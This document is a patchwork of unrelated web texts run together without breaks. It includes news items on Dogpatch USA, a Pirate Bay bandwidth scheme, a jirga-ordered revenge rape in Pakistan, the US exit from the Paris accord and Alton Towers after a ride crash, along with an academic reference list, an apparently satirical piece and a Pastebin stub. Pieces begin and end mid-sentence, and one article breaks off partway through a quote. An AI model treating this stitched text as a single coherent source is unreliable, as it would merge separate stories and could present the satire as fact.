After being sold to new owners in 1981, and again in 1987, Dogpatch USA struggled on until 1993, when it closed for good. The park has since been left to ruin. A 2002 attempt to sell it on eBay for a million-dollar minimum bid drew no buyers.
Advertisement
Other abandoned amusement parks:More details are emerging about Global Gaming Factory X's plans for the Pirate Bay following yesterday's announcement of their $7.9 million purchase of the torrent site.
Already, GGX said they would find a way to compensate copyright holders whose works are traded on the site.
Now BusinessWeek reveals that the Pirate Bay plans to raise money by turning the spare bandwidth of their users into a commodity that they will sell to ISPs like Comcast and AT&T.
Business Week reports:
GGX CEO Hans Pandeya, "has hatched a groundbreaking scheme to bundle together the collective Internet bandwidth of Pirate Bay's users into a giant new peer-to-peer network. Then, he'll resell that broadband capacity on an ad hoc basis to Internet service providers—companies like Comcast (CMCSA) or AT&T (T)—that are in need of a quick injection of cheap bandwidth."
Pandeya says that the scheme will cut bandwidth costs by ISPs by, "more than a half."
When a user joins into the plan, they will also earn money for sharing their spare bandwidth with the Pirate Bay Network. They can then cash out or use the money to pay to download copyrighted works, which is Pandeya's other major money-making plan for the previously free but illegal website.
We give the idea an A for creativity -- we'd swap bandwidth for free movies -- but BusinessWeek's Mark Scott sees some flaws in the plan:
Pandeya will have to build a network of users big enough to make his bandwidth resellable--no given if the Pirate Bay goes legit.
Users may violate their own ISP contracts by reselling their bandwidth to another network provider.
Third, in some cases, The Pirate Bay will likely be selling bandwidth back to its original owners--a Comcast user's cable modem connection back to Comcast, for instance--and it's unclear if ISPs will really be willing to pay for the privilige.Mohammad Ashfaq, a villager in Pakistan’s Punjab province, came to the village council with a harrowing complaint: His 12-year-old sister had been raped by a 15-year-old boy, a distant cousin.
The council, or jirga, prescribed an equally harrowing punishment: Ashfaq, 20, should publicly rape the boy’s sister, who is 16.
Ashfaq carried out the punishment in a case of “revenge rape” that has shocked Pakistan and reached all the way to the country’s Supreme Court.
Police have arrested 28 people in a village outside the city of Multan, in southern Punjab, including the head of the council, which included family members of both alleged rapists.
The 15-year-old was also arrested, but police were still searching for Ashfaq, said Shahida Nasreen, a senior police official in Multan and head of the Violence Against Women Center.
“Honor crimes” are common in Pakistan, where villagers often use violence to punish those seen to have sullied a family’s reputation. The government has vowed to end the practice of honor killings of women who marry without the approval of their male relatives.
The case in Punjab came to light July 20 when the boy’s family reported it to police, but it was nearly a week before arrests were made.
Shehbaz Sharif, Punjab’s chief minister, suspended Multan’s police chief and the head of the local police station for what he termed “extreme negligence.”
“All culprits will have to face the law,” Sharif said.
The chief justice of the Supreme Court said it would take up the case and ordered Punjab police to submit a report.
The case bore disturbing similarities to a 2002 incident in which a woman, Mukhtar Mai, was gang-raped by a local jirga in the same area for a crime allegedly committed by her male relatives. The perpetrators were convicted and sentenced to death, but all but one were later freed by higher courts.
Mai told The Times on Thursday that she had lost sleep over the latest crimes.
“I can understand the situation of both girls. I have gone through it,” she said.
“This incident shows the failure of the state and society. There are laws, but police don't implement them while courts don't dispense justice. What do you expect? These local influential [people] have the support of political elite and police. These are not isolated cases.”With Gainesville’s Pastor Terry Jones and the Dove World Outreach Center’s plan to burn a bag of Qurans in Florida, at least one camp is furious for a whole different reason than Gen. David Petraeus.
Shirley Phelps Roper, daughter of Westboro Baptist Church founder Fred Phelps, says her camp burned the Quran on a Washington D.C. street in 2008 — and nobody cared. “We did it a long time before this guy,” she says.
And it breaks my heart to see the gaggle of Ropers trying so hard to score media attention and get trumped by some guy who’s so lazy he sticks his signs — which aren’t even brightly colored! — into the ground instead of waving them around on the street corner.
UPDATE: The church has called off the burn, reports Reuters.Amazon is trying to give us all the reasons it can to buy Amazon Prime.
On Thursday, the giant online retailer launched its much-anticipated streaming music service for Amazon Prime customers, called Prime Music.
Prime Music is the latest perk offered to customers enrolled in Amazon's membership program, which already includes a streaming video service and free two-day shipping on many items on Amazon. For customers, the addition of streaming music may help justify the recent Amazon Prime price hike to $99 from $79.
The company boasted that Prime Music can stream over 1 million songs, all without ads. There's no additional cost for Amazon Prime members.
Here's what it looks like:
It may take a while for Amazon to convince Prime members to give up their iTunes or Pandora habits. Nineteen percent of Prime members have never used its existing video streaming service, which has been around since 2011.
Also, 1 million songs may sound like a lot, but Spotify has 20 million songs. Prime Music will not have any music from Universal Music Group, which is the world's biggest music label.
You won't be able to hear any hot new hits on Prime Music. It won't have any new songs or albums until they are at least 6 months old, Buzzfeed reported.
You can also store your music in the player. Any music you buy through Amazon is automatically there, and you can add 250 more songs free of charge.Pope's birthplace sprayed with abusive graffiti
Updated
A vandal has spray-painted an abusive message on the house in southern Germany in which Pope Benedict was born.
Police spokesman Konrad Rutzinger says the graffiti was sprayed in blue on the front door of the house, a three-storey, 264-year-old building in Marktl am Inn in the predominantly Catholic state of Bavaria.
He says the message seems to be linked to the abuse scandals that have engulfed the Catholic Church.
"F*** yourselves," read the graffiti, according to photographs published in the German press. It has been hastily painted over.
A recent survey found that a quarter of Germany's Catholics were considering quitting the Church in the wake of reports of hundreds of cases of sexual abuse by clerics, some many decades old.
Last week clerics in Germany used Easter sermons to pray for the victims as public sentiment against the Church turned decidedly negative.
- Reuters
Topics: vandalism, catholic, crime, germany
First postedA Greenpeace banner showing US President Donald Trump is projected onto the facade of the US Embassy in Berlin, on Friday. Credit:AP Members of his administration, including Vice-President Mike Pence and Environmental Protection Agency chief Scott Pruitt, said on Friday that the Paris deal put an extraordinary burden on their country. "It was a transfer of wealth from the most powerful economy in the world to other countries around the planet", Mr Pence said on television. There was a mix of dismay and anger across the world. France said it would work with American states and cities to keep up the fight against climate change. The governors of New York, California and Washington State have announced creation of a "climate alliance" committed to the Paris goals.
German Chancellor Angela Merkel and Chinese Prime Minister Li Keqiang in Berlin on Friday. Credit:Getty Images Germany's powerful car industry said Europe would need to reassess its environmental standards to remain competitive after the "regrettable" US decision. The World Meteorological Organisation estimated that US withdrawal from the emissions-cutting accord could add 0.3 degrees Celsius to global temperatures by the end of the century in a worst-case scenario. French President Emmanuel Macron, right, Paris Mayor Anne Hidalgo, left, and former mayor of New York City Michael Bloomberg talkat the Elysee Palace in Paris on Friday. Credit:Getty Images Germany's Dr Merkel, a pastor's daughter who is usually intensely private about her faith, said the accord was needed "to preserve our Creation".
"To everyone for whom the future of our planet is important, I say let's continue going down this path so we're successful for our Mother Earth", she said to applause from lawmakers. President Donald Trump went on a lengthy Twitter tirade on Monday morning. Credit:AP In Paris, French President Emmanuel Macron turned Trump's "Make America Great Again" campaign slogan on its head, saying in a rare English-language statement that it was time to "make the planet great again". At a previously planned meeting on Friday between Chinese Premier Li Keqiang and EU officials in Brussels, the leaders pledged full implementation of the Paris deal. They committed to cutting fossil fuels use, developing more green technology and raising funds to help poorer countries reduce emissions. China, the world's largest polluter, has emerged as Europe's unlikely partner in this and other areas as Mr Trump has isolated the US on many issues.
Mr Tusk said Europe was "stepping up our cooperation on climate change with China... We are convinced that yesterday's decision by the United States to leave the Paris Agreement is a big mistake." Earlier, European Commission President Jean-Claude Juncker said: "There is no reverse gear to energy transition. There is no backsliding on the Paris Agreement". The vast majority of scientists believe global warming is mainly the result of human activities including power generation, transport, agriculture and industry. A small group of sceptics, some of them in the White House, believe the Paris pact threatened business. Mr Trump once called climate change a hoax. Mr Pruitt declined to tell reporters at the White House whether Trump now believes it is real and threatens the country. Mr Pruitt's own view, he said, was that human activity contributes to climate change, but measuring how much is "very challenging".
US Secretary of State Rex Tillerson, former CEO of Exxon Mobil, had supported staying in the pact. He said the US would continue efforts to reduce its emissions. "It was a policy decision and I think it's important that everyone recognise the United States has a terrific record on reducing our own greenhouse gas emissions," Mr Tillerson told reporters. A number of figures from US industry expressed their dismay at Trump's move. Jeff Immelt, chief executive officer of US conglomerate General Electric, tweeted: "Climate change is real. Industry must now lead and not depend on government." Tesla CEO Elon Musk, and Walt Disney CEO Robert Iger said they would leave White House advisory councils after Mr Trump's move. German industry associations warned Mr Trump's decision would harm the global economy and lead to market distortions.
Germany's DIHK Chambers of Commerce and VDMA engineering industry group said US companies could gain short-term advantages by Mr Trump's decision. "Climate protection can be pushed forward in an effective and competition-friendly way only by all states," said DIHK President Eric Schweitzer. Mr Trump's top economic adviser, Gary Cohn, said on television the withdrawal would help keep US energy markets competitive, allowing for a potential for coal. But coal industry officials have said the sector hopes only to slow the economic bleeding that has come with a glut of cheaper and natural gas. Loading On Thursday, the Sierra Club, an environmental group, was scathing about Trump's endorsement of what he regards as clean coal. It tweeted: "Clean coal, you can find that next to the unicorns and leprechauns."
ReutersGet the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
This images show how Alton Towers has been left resembling a ghost town after visitors shunned the attraction following the shocking rollercoaster crash that left two young women needing legs amputated.
Empty rides and stalls are spotted throughout the Staffordshire park, while few attractions have any queue whatsoever.
Summer is normally peak season for the park, but bosses have admitted there has been a major slump in number since the horrific accident on The Smiler ride.
Leah Washington and Vicky Balch were both forced to have one of their legs amputated after the ride they were on crashed on June 2 this year.
Three other people, including Leah's boyfriend Joe Pugh, were also seriously injured in the crash - which has led to the ride being closed for an unspecified period of time.
(Image: SWNS)
(Image: SWNS)
While the theme park usually attracts 2.5 million visitors each year with the summer holidays being their busiest period.
But on Thursday the Staffordshire resort appeared deserted as electronic displays informed visitors there was a "0 minute" wait for most of their rides.
The park's most popular rollercoasters such as Nemesis, Oblivion and Air usually have a minimum two hour waiting time during busy periods.
However, adrenaline junkies arriving at the park were able to jump on the rides in less than five minutes - and could do so throughout the entire day.
The park even closed an hour early at 5pm due to the dwindling number of visitors - despite the good weather.
(Image: SWNS)
(Image: SWNS)
Many thrill-seekers admitted that the Smiler crash was at the back of their minds and were delighted at the small queues.
Emma and David Franks, both 43, from nearby Cheadle, Staffs., said: "This isn't a far trip at all for us.
"Obviously we were aware of the recent attention because of the crash, but it hasn't put us off
"If anything we thought it might be quiet and we could get on all the rides.
"Usually you spend most of your day queuing - but not today. Its brilliant."
(Image: SWNS)
The couple, who were on a day out with their daughters Katie, 20, and Holly, 15, explained how the girls love the rides as much as they always have done.
Katie, a Psychology student from the University of Liverpool, had returned home for the summer break to spend time with her family.
She said: "Me and my sister love it here.
"I've been on The Smiler in the past - it was a brilliant ride.
"I always feels safe here."
Numerous "fast-track" kiosks - a chargeable facility that allows people to queue jump and go on more rides - throughout the park were also closed.
Video Loading Video Unavailable Click to play Tap to play The video will start in 8 Cancel Play now
The queues were so short that people were admitted straight onto some rides while fast food outlets and areas of the park grounds also appeared quiet.
Courtyard Tavern, a food court in the Mutiny Bay area of the park, usually attracts large crowds, but only five of the 30 tables were occupied.
One staff member admitted the park was quieter than normal since the tragedy, which also left 16 people injured.
He said: "We've had additional employees on many of the top attractions as we were expecting a higher volume of visitors on such a sunny day.
"Its sad to see really, we've never known it this quiet."
Beth Taylor and Cara Downing, both 20-year-old students from Birmingham, added: "The day has been great.
(Image: SWNS)
(Image: SWNS)
"We got on all our favourite rides no problem at all. We're dizzy from going on Nemesis so many times. I've been before and we only managed it once.
"I think we've been on it about 12 times today."
Jordan Butler, 37, from Boston, Massachusetts, USA, said: "I'm here visiting family in the UK.
"They knew I was coming here and warned me of the dangers, but I told them that the flight here from America or the drive from their house was probably more dangerous."
Tracey Conway, a full-time mum from Bodmin, Cornwall, made the five-hour trip with her husband Paul and their children, Taylor, seven; Scarlett, four, and Maisie, one.
She added: "Paul and I don't bother with the big rides when we bring the kids with us.
(Image: SWNS)
(Image: SWNS)
"A lot of the kiddie rides had waiting times of up to 35 minutes, but I saw that the main rides had virtually no queues.
"Still, the queue times are better than normal, which is ideal when you have three young children with you.
"You can do more with your day, which keeps the little ones happy."
A spokeswoman for Alton Towers said: "We have already confirmed visitor numbers are currently lower than we would expect for the summer holidays.
"That means that at the moment all of our guests are experiencing shorter queues than normal.
"We have more than 50 fantastic rides and attractions and right now we've also got the CBeebies Land Meet & Tweet activity taking place which is perfect for families.
"Everyone at Alton Towers is committed to giving people a great time and we look forward to welcoming guests for a wonderful day out or short break this summer."Plastic foam recycling suspended in Kane, Lake, McHenry towns
hello
Residents of several communities in Kane, Lake and McHenry counties are left scrambling to find a way to dispose of plastic foam waste with the suspension of recycling programs in their towns.
Citing a slow market for the material, the village of Algonquin this week suspended its recycling program for plastic foam, of which Styrofoam is a brand, voluntarily run by an Elgin businessman. The plastic foam collection site at the Algonquin public works facility is now closed.
Ken Santowski, owner of Chicago Logistic Service trucking company in Elgin, has been collecting plastic foam waste from Algonquin and nine other sites in Lake and McHenry counties for free for several years.
He and his employees would pick up weekly from recycling bins placed at the Algonquin and Nunda townships' road district offices, Lakewood village hall and public works facility, downtown Crystal Lake, Barrington Hills village hall, and a residential neighborhood in Lake in the Hills.
"We're in the process of suspending all of them," Santowski said.
Santowski would haul and crush the plastic foam and deliver it to recyclers who would then melt it down and sell it to plastic manufacturers to make low-grade plastics.
Those recycling companies no longer are accepting densified plastic foam without charging a fee, he said.
"They have commercial businesses that are giving them larger quantities (of plastic foam) and those businesses are also paying them to take it," Santowski said.
With crude oil prices declining, petroleum-based products such as plastics and plastic foam -- a kind of expanded polystyrene -- are cheaper to produce, leaving less demand for recycled materials, Santowski said.
"The big recyclers are getting a little more picky," he said. "They need to cut their costs to refine."
Santowski now has three 53-foot trailers full of plastic foam that he needs to unload and has no takers.
"I've been doing it for almost 25 years," he said. "(Plastic foam) was one of those things that always bothered me. I am not giving up by any means."
He is trying to work out a deal with North Aurora-based Dart Container Corp., which manufactures plastic foam plates and cups.
"I'm hoping to, now that I have stopped the inbound stream, work on getting some of it unloaded through Dart," he said. "Until we figure out a new solution, I can't take any more in."
Algonquin officials said Santowski's hard work and dedication has kept untold amounts of plastic foam out of landfills. "He is the only one that was providing any type of (plastic foam) recycling in the county," said Katie Parkhurst, Algonquin senior planner.
The village now is exploring other avenues for plastic foam recycling and will start collecting again, if a market can be found for reusing the product. Officials are urging residents to dispose plastic foam waste with their regular garbage until further notice.
"In our conversations with waste haulers, we always try to encourage them to start (plastic foam) collections," Parkhurst said. "Environmental Defenders of McHenry County are trying to work on that as well. There's not a market to turn it into another product very easily."And Floyd brushed aside the complaints that the scanners are used primarily in schools serving low-income black and Hispanic students. Children from those neighborhoods, he said, often require them.
“Would I say, put metal detectors in Brooklyn Tech? I would not,” Floyd said, because the students there, “some from affluent neighborhoods,” are “committed to learning, they’re not committed to fighting. That’s not the case in every New York City public school, and you can’t say, ‘Treat the children the same’ because we don’t do that.”
Despite the widespread use of the scanners, the amount of contraband found is low. In the approximately 3 million scans conducted in the first two months of this school year, only a tiny number of contraband items were discovered, according to a NYPD document obtained by ProPublica. Among the 126 possible weapons seized at schools that scan daily—some found hidden on school grounds, others by scanners—were an unloaded handgun, 73 knives, 21 boxcutters, three BB guns, and an assortment of loose bullets and razor blades.
Some school officials believe the daily security checks actually lead to behavior problems among the students. Until recently, Tyler Brewster was a dean of discipline and a math teacher at the School for Democracy and Leadership in Brooklyn, which has metal detectors. She now works at The James Baldwin High School in Manhattan, which does not. Brewster said she doesn’t believe students at either school should be forced to go through the scanners, and that it brands whole groups of students as untrustworthy.
“We didn’t have to go through the metal detectors as teachers, and I’m no less or more human than our students. Why do you trust me to have a bad day and handle it the right way versus the kid having the bad day?” Brewster said. “I wonder how much of the tone is set by having metal detectors in the first place.”
Kamaya Sanders, a student at the Secondary School for Journalism in Brooklyn, said that she sometimes felt suspicious of her fellow students as they stood in line to get checked.
“Sometimes you want to say your school’s safe, but you have the metal detectors, so you never know. Then let’s say someone in front of you gets stopped, then you’re like, ‘Oh, they |
References
K.L. Ashcraft, T.R. Kuhn, and F. Cooren, 2009. “Constitutional amendments: ‘Materializing’ organizational communication,” Academy of Management Annals, volume 3, number 1, pp. 1–64.http://dx.doi.org/10.1080/19416520903047186
S.R. Barley, 1990. “The alignment of technology and structure through roles and networks,” Administrative Science Quarterly, volume 35, number 1, pp. 61–103.http://dx.doi.org/10.2307/2393551
S.R. Barley, 1988. “Technology, power, and the social organization of work: Towards a pragmatic theory of skilling and deskilling,” Research in the Sociology of Organizations, volume 6, pp. 33–80.
S.R. Barley, 1986. “Technology as an occasion for structuring: Evidence from observations of CT scanners and the social order of radiology departments,” Administrative Science Quarterly, volume 31, number 1, pp. 78–108.http://dx.doi.org/10.2307/2392767
W.E. Bijker, 1995. Of bicycles, bakelites, and bulbs: Toward a theory of sociotechnical change. Cambridge, Mass.: MIT Press.
P.J. Boczkowski, 2004. Digitizing the news: Innovation in online newspapers. Cambridge, Mass.: MIT Press.
P. Bourdieu, 1977. Outline of a theory of practice. Translated by Richard Nice. Cambridge: Cambridge University Press.
G. DeSanctis and M.S. Poole, 1994. “Capturing the complexity in advanced technology use: Adaptive structuration theory,” Organization Science, volume 5, number 2, pp. 121–147.http://dx.doi.org/10.1287/orsc.5.2.121
R. Edwards, 1979. Contested terrain: The transformation of the workplace in the twentieth century. New York: Basic Books.
K.D. Elsbach, 2002. “Intraorganizational institutions,” In: J.A.C. Baum (editor). Blackwell companion to organizations. Oxford: Blackwell, pp. 37–57.
G.T. Fairhurst and L.L. Putnam, 2004. “Organizations as discursive constructions,” Communication Theory, volume 14, number 1, pp. 5–26.http://dx.doi.org/10.1111/j.1468-2885.2004.tb00301.x
A.–L. Fayard and J. Weeks, 2007. “Photocopiers and water–coolers: The affordances of informal interaction,” Organization Studies, volume 28, number 5, pp. 605–634.http://dx.doi.org/10.1177/0170840606068310
M.S. Feldman and B.T. Pentland, 2005. “Organizational routines and the macro–actor,” In B. Czarniawka–Joerges and T. Hernes (editors). Actor-network theory and organizing. Malmö: Liber, pp. 91–111.
M.S. Feldman and B.T. Pentland, 2003. “Reconceptualizing organizational routines as a source of flexibility and change,” Administrative Science Quarterly, volume 48, pp. 94–118.http://dx.doi.org/10.2307/3556620
J. Fulk, A.J. Flanagin, M.E. Kalman, P. Monge, and T. Ryan, 1996. “Connective and communal public goods in interactive communication systems,” Communication Theory, volume 6, pp. 60–87.http://dx.doi.org/10.1111/j.1468-2885.1996.tb00120.x
H. Garfinkel, 1967. Studies in ethnomethodology. Englewood Cliffs, N.J.: Prentice–Hall.
J.J. Gibson, 1986. The ecological approach to visual perception. Hillsdale, N.J.: Lawrence Earlbaum.
A. Giddens, 1984. The constitution of society: Outline of the theory of structuration. Berkeley: University of California Press.
A. Giddens, 1979. Central problems in social theory: Action, structure, and contradiction in social analysis. Berkeley: University of California Press.
E. Goffman, 1961. Encounters: Two studies in the sociology of interaction. Indianapolis, Ind.: Bobbs–Merill.
I. Hutchby, 2001. “Technologies, texts and affordances,” Sociology, volume 35, number 2, pp. 441–456.http://dx.doi.org/10.1177/S0038038501000219
M.H. Jackson, 1996. “The meaning of ‘communication technology’: The technology–context scheme,” In: B. Burleson (editor). Communication yearbook, volume 19. Beverly Hills, Calif.: Sage, pp. 229–267.
R. Kline and T.J. Pinch, 1996. “Users as agents of technological change: The social construction of the automobile in the rural United States,” Technology and Culture, volume 37, number 4, pp. 763–795.http://dx.doi.org/10.2307/3107097
B. Latour, 2005. Reassembling the social: An introduction to actor–network theory. Oxford: Oxford University Press.
P.M. Leonardi, 2009. “Why do people reject new technologies and stymie organizational changes of which they are in favor? Exploring misalignments between social interactions and materiality,” Human Communication Research, volume 35, number 3, pp. 975–984.http://dx.doi.org/10.1111/j.1468-2958.2009.01357.x
P.M. Leonardi, 2007. “Activating the informational capabilities of information technology for organizational change,” Organization Science, volume 18, number 5, pp. 813–831.http://dx.doi.org/10.1287/orsc.1070.0284
P.M. Leonardi and S.R. Barley, 2008. “Materiality and change: Challenges to building better theory about technology and organizing,” Information and Organization, volume 18, pp. 159–176.http://dx.doi.org/10.1016/j.infoandorg.2008.03.001
M.L. Markus, 2004. “Technochange management: Using IT to drive organizational change,” Journal of Information Technology, volume 19, pp. 4–20.http://dx.doi.org/10.1057/palgrave.jit.2000002
P.R. Monge and N.S. Contractor, 2003. Theories of communication networks. Oxford: Oxford University Press.
D.K. Mumby, 1987. “The political function of narrative in organizations,” Communication Monographs, volume 54, pp. 113–127.http://dx.doi.org/10.1080/03637758709390221
D.A. Norman, 1999. “Affordance, conventions, and design,” Interactions, volume 6, number 3, pp. 38–43.http://dx.doi.org/10.1145/301153.301168
D.A. Norman, 1990. The design of everyday things. New York: Doubleday.
W.J. Orlikowski, 2007. “Sociomaterial practices: Exploring technology at work,” Organization Studies, volume 28, number 9, pp. 1,435–1,448.
W.J. Orlikowski, 2000. “Using technology and constituting structures: A practice lens for studying technology in organizations,” Organization Science, volume 11, number 4, pp. 404–428.http://dx.doi.org/10.1287/orsc.11.4.404.14600
W.J. Orlikowski, 1992. “The duality of technology: Rethinking the concept of technology in organizations,” Organization Science, volume 3, number 3, pp. 398–427.http://dx.doi.org/10.1287/orsc.3.3.398
W.J. Orlikowski and S.V. Scott, 2008. “Sociomateriality: Challenging the separation of technology, work and organization,” Academy of Management Annals, volume 2, number 1, pp. 433–474.http://dx.doi.org/10.1080/19416520802211644
B.T. Pentland and M.S. Feldman, 2007. “Narrative networks: Patterns of technology and organization,” Organization Science, volume 18, number 5, pp. 781–795.http://dx.doi.org/10.1287/orsc.1070.0283
N. Phillips, T.B. Lawrence, and C. Hardy, 2004. “Discourse and institutions,” Academy of Management Review, volume 29, number 4, pp. 635–652.
A. Pickering, 2001. “Practice and posthumanism: Social theory and a history of agency,” In: T.R. Schatzki, K. Knorr Cetina, and E. von Savigny (editors). The practice turn in contemporary theory. London: Routledge, pp. 163–174.
A. Pickering, 1995. The mangle of practice: Time, agency, and science. Chicago: University of Chicago Press.
T. Pinch, 2008. “Technology and institutions: Living in a material world,” Theory and Society, volume 37, pp. 461–483.http://dx.doi.org/10.1007/s11186-008-9069-x
T.J. Pinch and F. Trocco, 2002. Analog days: The invention and impact of the Moog Synthesizer. Cambridge, Mass.: Harvard University Press.
M.S. Poole and G. DeSanctis, 1992. “Microlevel structuration in computer–supported group decision making,” Human Communication Research, volume 19, number 1, pp. 5–49.http://dx.doi.org/10.1111/j.1468-2958.1992.tb00294.x
R.E. Rice and J.A. Danowski, 1983. “Is it really just a fancy answering machine? Comparing semantic networks of different types of voice mail users,” Journal of Business Communication, volume 30, pp. 369–397.http://dx.doi.org/10.1177/002194369303000401
T.R. Schatzki, 2005. “The sites of organizations,” Organization Studies, volume 26, number 3, pp. 465–484.http://dx.doi.org/10.1177/0170840605050876
W.H. Sewell, 1992. “A theory of structure: Duality, agency, and transformation,” American Journal of Sociology, volume 98, number 1, pp. 1–29.http://dx.doi.org/10.1086/229967
L. Smircich, 1983. “Concepts of culture and organizational analysis,” Administrative Science Quarterly, volume 28, pp. 339–358.http://dx.doi.org/10.2307/2392246
A. Strauss, 1978. Negotiations: Varieties, contexts, processes, and social order. San Francisco: Jossey–Bass.
L. Suchman, 2007. Human–machine reconfigurations: Plans and situated actions. Second edition. Cambridge: Cambridge University Press.
L. Suchman, 2000. “Organizing alignment: A case of bridge–building,” Organization, volume 7, number 2, pp. 311–327.http://dx.doi.org/10.1177/135050840072007
E. Vaast and G. Walsham, 2005. “Representations and actions: The transformation of work practices with IT use,” Information and Organization, volume 15, pp. 65–89.http://dx.doi.org/10.1016/j.infoandorg.2004.10.001
J. Van Maanen, 1975. “Police socialization: A longitudinal examination of job attitudes in an urban police department,” Administrative Science Quarterly, volume 20, pp. 207–228.http://dx.doi.org/10.2307/2391695
O. Volkoff, D.M. Strong, and M.B. Elmes, 2007. “Technological embeddedness and organizational change,” Organization Science, volume 18, number 5, pp. 832–848.http://dx.doi.org/10.1287/orsc.1070.0288
K.E. Weick, 1979. The social psychology of organizing. Second edition. Reading, Mass.: Addison–Wesley.
S. Woolgar, C. Coopmans, and D. Neyland, 2009. “Does STS mean business?” Organization, volume 16, number 1, pp. 5–30.http://dx.doi.org/10.1177/1350508408098983
R.G. Zamutto, T.L. Griffith, A. Majchrzak, D.J. Dougherty, and S. Faraj, 2007. “Information technology and the changing fabric of organization,” Organization Science, volume 18, number 5, pp. 749–762.http://dx.doi.org/10.1287/orsc.1070.0307
Editorial history
Paper received 4 May 2010; accepted 10 May 2010.
Copyright © 2010, First Monday.
Copyright © 2010, Paul M. Leonardi.
Digital materiality? How artifacts without matter, matter
by Paul M. Leonardi.
First Monday, Volume 15, Number 6 - 7 June 2010
https://firstmonday.org/ojs/index.php/fm/article/view/3036/2567TIGARD, OR—In preparation for the upcoming school year, local mother Karen Dougherty, 43, has been working on some fresh and exciting new clothing options for her 10-year-old son, Michael, the excited mom told reporters Wednesday.
"Michael is at an age now where it's important that he not look just like all the other boys in school," said Dougherty, who made a personal vow this summer to "really push the envelope" in 2009. "That's why this year I've made a number of fashionable but unique clothing choices for him that are sure to make the other fourth-graders take notice and say, 'Ooh, that looks smart.'"
Advertisement
"It's time to think outside the box," she added. "Pastels, anyone?"
Dougherty, who is already well known among parents for the manner in which she dresses her son, believes that now is the perfect time to really turn heads by bringing out some of the more eye-catching color and fabric combinations Michael has previously been resistant to.
"Well, you know how boys are," said Dougherty, as she carefully hemmed the cuffs on a pair of baby-blue corduroys. "If Michael had his way, he'd probably run out the door every day in a T-shirt, jeans, and sneakers. He doesn't understand that he'd make a much stronger impression on his classmates and teachers if he tried an outfit with more flair, like a nice mock turtleneck with a peach vest."
Advertisement
"Oh, and I was thinking of getting him a little peacoat for the winter, too," Dougherty continued. "He'll look just like Ryan O'Neal in Love Story."
Over the past month, Dougherty has made her son accompany her on more than a dozen extended trips to local department stores and shopping malls, in search of colorful ensembles for schooltime and playtime that will "reflect how special [Michael] is" and accentuate his "handsome, round" face.
"Fourth grade is a great year for dressing boys because you can really do anything with them," Dougherty told reporters waiting outside a Nordstrom dressing room as her son tried on the first of several prospective outfits. "You can go Southwestern, nautical, even safari. I mean, why not? There are no rules, really, and I think Michael's look this year is going to reflect that."
Advertisement
Prodding her son toward a three-way mirror near the store's entrance, Dougherty checked the fit of a pair of single-pleat chinos the boy was wearing, frowning as she tugged at the waist and inseam of the pants.
Dougherty said that, while her son still had "a little baby fat" around the torso and thighs, she could work around the problem by dressing him in loose-fitting, blousy button-downs and adventurous-yet-flattering striped shorts.
"At this age, it's fine for him to run a size bigger, especially if he's wearing gingham, which is slimming," remarked Dougherty, who noted that the plain-woven checked fabric is, according to Redbook, "really chic right now." "Michael may be a little husky at the moment, but eventually he'll be tall and thin like his father, and then I can shop for them both at the same time."
Advertisement
Added Dougherty, "Easy!"
When reached for comment at his home Wednesday evening, Michael Dougherty told reporters he would like to be alone for a while and closed his bedroom door.WASHINGTON -- Saying that he no longer gets surprised by "whipped up" controversies in Washington, D.C., President Barack Obama on Thursday gave his most forceful defense to date of his decision to swap five Taliban leaders for an American prisoner of war.
"We saw an opportunity and we seized it, and I make no apologies for that," he said.
Speaking at a press conference in Brussels, Obama said that his administration acted on a bedrock principle that the United States does not leave soldiers behind on the battlefield. On several occasions, he was defiant while explaining why he needed to bring Sgt. Bowe Bergdahl home to the U.S. after five years in captivity.
"I think it was important for people to understand that this is not some abstraction, this is not some political football," Obama said. "You have a couple of parents whose kid volunteered to fight in a distant land, who they hadn't seen in five years, and weren't sure whether they'd ever see again. And as commander in chief of the United States armed forces, I am responsible for those kids.
"I write too many letters to folks who unfortunately don't see their children again after fighting a war," he said. "I make absolutely no apologies for making sure that we get back a young man to his parents, and that the American people understand that this is somebody's child, and that we don’t condition whether or not we make the effort to try and get them back."
With controversy brewing back at home, the president's tone on the matter seems likely to only agitate his critics further. Republicans have accused him of a host of missteps: that he gave up too much in exchange for a POW who has been accused of deserting his base; that he propagandized Bergdahl's homecoming despite questions surrounding his service; that he is skirting Congress in efforts to empty the prison at Guantanamo Bay; and that he violated the law by not consulting lawmakers before approving the swap.
Obama addressed the latter criticism on Thursday.Theodore Wirth had a soft spot for Minneapolis songbirds. The city’s orioles, larks and sparrows were under siege when Wirth took office as parks superintendent in 1906. Public enemy No. 1? “Boys who rob birds’ nests,” according to the Minneapolis Tribune. In March 1909, Wirth ordered park police to enforce an ordinance that prohibited boys from bringing guns into city parks. The birds had a few four-legged enemies as well. About a dozen chattering red squirrels had the run of Loring Park, destroying eggs and young birds in the nest. Wirth instructed his officers to shoot the reds. To prevent neighboring reds from repopulating the park, he shipped in gray squirrels from Wichita, Kan. “Gray squirrels,” the Tribune explained, “are preferred in parks all over the country because they are easily tamed and do not interfere with birds at all.” A month later, the newspaper reported, only one red squirrel remained in Loring Park:
Theodore Wirth in about 1915.
Last of the “Reds”
Haunts Loring Park
Grays Coming from Kansas to Take the Charmed Life of “Cruncho.”
Wily Bird-eating Quadruped Successfully Dodges Coppers’ Bullets
“Cruncho the Red,” the last of the squirrel hordes in Loring park, a defiant rebel, who is apparently bullet-proof, or at least possessor of a charmed life, roams at will through the park and chatters out a saucy defiance at Theodore Wirth, whenever he happens along. However, Cruncho has but another month in which to give up the battle and die game, or put pride behind him and hike to Kenwood parkway, where many of his relatives have flown, as persecuted patriots fleeing to a land of freedom.
In one month’s time Mr. Wirth expects to receive from Washington state a consignment of two dozen gray squirrels, which are to be installed in some newly built, just-for-two cottages, in the trees of Loring. Mr. Wirth had expected ere this to have the gray squirrels here but was disappointed.
Meanwhile “Cruncho, the Red,” he of the hated family of bird-eating squirrels, grinned sardonically at the superintendent of parks yesterday and dodged a volley of bullets from the revolver of the park policeman.Untitled a guest Oct 7th, 2013 332 Never a guest332Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
